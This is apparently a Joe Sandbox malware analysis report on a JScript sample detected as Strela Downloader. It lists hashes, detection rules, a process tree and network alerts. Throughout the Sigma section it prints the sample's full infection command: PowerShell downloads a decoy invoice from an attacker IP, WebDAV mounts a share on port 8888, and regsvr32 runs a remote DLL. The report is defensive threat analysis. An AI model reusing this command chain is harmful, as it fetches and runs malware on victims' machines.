Edit tour

Windows Analysis Report
49441311255025245.js

Overview

General Information

Sample name:	49441311255025245.js
Analysis ID:	1588090
MD5:	81edc70e2e915b831ee13d149e7e3bba
SHA1:	8cdb873232abf7772a7f8c9826dd3c78586f9d51
SHA256:	b4632404d1ea8bc63e762eeb507b01ddac82d3331e470305b3b0abc8c1f1f5d3
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7676 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7724 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7776 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7972 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5772 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1604,i,11243734406155330443,17094028111628165151,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7988 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8088 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7368 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7676	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7724, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7724, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", ProcessId: 7676, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8088, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7724, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", ProcessId: 7676, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7724, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7988, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8088, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7368, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7988, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8088, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\49441311255025245.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7676, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7724, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:17:38.097698+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:17:35.365464+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 49441311255025245.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 49441311255025245.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:17:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

